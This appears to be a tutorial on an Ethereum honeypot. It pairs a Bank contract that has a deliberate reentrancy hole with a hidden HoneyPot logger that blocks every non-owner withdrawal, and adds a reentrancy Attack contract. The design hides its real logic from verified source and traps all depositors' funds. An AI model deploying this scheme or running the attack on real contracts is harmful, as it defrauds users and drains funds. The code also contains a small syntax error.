A honeypot is a computer or computer system intended to mimic likely targets of cyberattacks.
This is a contract that looks like it has a reectrancy vulnerability but it is actually a trap to catch attackers!
Bank.sol file
contract Bank {
mapping(address => uint) public balances;
Logger logger;
constructor(Logger _logger) {
logger = Logger(_logger); // NOTICE THAT THE ADRESS OF THE LOGGER IS SET IN THE CONSTRUCTOR
}
function deposit() public payable {
balances[msg.sender] += msg.value;
logger.log(msg.sender, msg.value, "Deposit");
}
function withdraw(uint _amount) public {
require(_amount <= balances[msg.sender], "Insufficient funds");
(bool sent, ) = msg.sender.call{value: _amount}(""); // REECTRANCY HERE
require(sent, "Failed to send Ether");
balances[msg.sender] -= _amount;
logger.log(msg.sender, _amount, "Withdraw"); // TRAP HERE
}
}
contract Logger { // The Logger contract
event Log(address caller, uint amount, string action);
function log(
address _caller,
uint _amount,
string memory _action
) public {
emit Log(_caller, _amount, _action);
}
}
The Logger contract in the file is actually not being used. We deploy and pass another contract when deploying the Bank contract. However, when the code is verified on Etherscan, the dummy Logger contract will be visible in the source code.
Honeypot.sol file
contract HoneyPot {
address private owner:
constructor(address _owner) {
owner = _owner;
}
function log(
address _caller,
uint _amount,
string memory _action
) public {
if (equal(_action, "Withdraw") && msg.sender != owner) { // ONLY OWNER ADDRESS CAN WITHDRAW
revert("It's a trap");
}
}
// Function to compare strings using keccak256
function equal(string memory _a, string memory _b) public pure returns (bool) {
return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
}
}
This contract will be used as the Logger contract when deploying the Bank contract. Log function will revert if the action is Withdraw and the caller is not the owner address. Thus, the owner address will be able to withdraw all the funds and no one else can withdraw any funds.
Attack Example
contract Attack {
Bank bank;
constructor(Bank _bank) {
bank = Bank(_bank); // set the bank contract address
}
fallback() external payable { // this function is called when the contract receives ether
if (address(bank).balance >= 1 ether) { // if the bank contract has at least 1 ether
bank.withdraw(1 ether); // withdraw 1 ether
}
}
function deposit() public payable {
bank.deposit{value: 1 ether}(); // deposit 1 ether
}
function withdraw() public payable {
bank.withdraw(1 ether); // initial withdraw, this will revert
}
}
The attack function would normally start a chain of transactions that would eventually drain all the ether in the Bank contract, however, in our case the withdraw function would revert causing the attacker to lose all the ether.